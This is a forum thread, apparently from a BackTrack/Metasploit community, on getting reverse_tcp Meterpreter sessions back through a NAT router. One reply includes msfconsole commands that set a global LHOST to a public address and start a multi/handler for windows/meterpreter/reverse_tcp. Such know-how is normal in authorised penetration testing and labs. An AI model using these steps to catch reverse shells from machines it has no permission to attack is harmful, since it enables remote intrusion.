Changing LHOST value of the exploit's payload to overcome a NAT situation

[theyhadsaid]

Hi folks.
Well I searched about this and I couldn't find any working solutions to this.. And I know that many people are looking for a way to handle this but don't know what and which file to modify in msf.
Let me clarify the problem here...

First comes the network config:
Internet <=> Router (WAN IP) <=> BT4 (192.168.2.10)
Incoming TCP/80 packets destined to WAN IP is forwarded to BT4 so no problem with port forwarding..

When we create our own payload with msfpayload, we can specify our WAN IP and WAN PORT and then within msfconsole, we configure the handler to bind to our internal ip which is, in this case, 192.168.2.10. When the payload is executed from anywhere else, we are able to obtain a meterpreter session. Because RHOST speaks to our WAN IP. So BT users behind a router trying to achieve client-side experimentations can get this to work with this configuration.

Here comes the problem:
But this will NOT work when using exploits or launching db_autopwn with the reverse_tcp payload because we are obliged to set LHOST to our internal ip for handler to bind to this ip and unfortunately, msf will "again" use this LHOST value in exploit's payload and when we launch an exploit then the RHOST will try to connect to the internal ip that we've set..

I am looking forward to your opinions and workarounds on this.
Thanks.

[crweedon]

did you try setting the global variable in msfconsole before lauching autopwn?

[100%digital]

I'm not sure what type of NAT device you're using, but I haven't had any problems launching exploits across a NAT'd connection.

I believe your problem is with the type of networking equipment you're using... I'm not entirely sure how a "static" NAT differs from port forward (so long as the port forward isn't conditional...)

...is your problem specific to db_autopwn?

regards,

J

[l3g10n]

Have you tried setting LHOST to 0.0.0.0 ? This tells it to listen to any IP on your box for an incoming connection.

[strasharo]

In my opinion a possible solution would be to set the global LHOST variable (as crweedon mentioned) to your external IP address and when the listener starts it will automatically fall back to 0.0.0.0 as l3g10n suggests:

msf > set LHOST 1.3.3.7
LHOST => 1.3.3.7
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit

[-] Handler failed to bind to 1.3.3.7:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...

That way payloads will be generated with your external IP address and the exploit handler will be still able to receive connections. (assuming you've set up correctly the port forwarding on your router).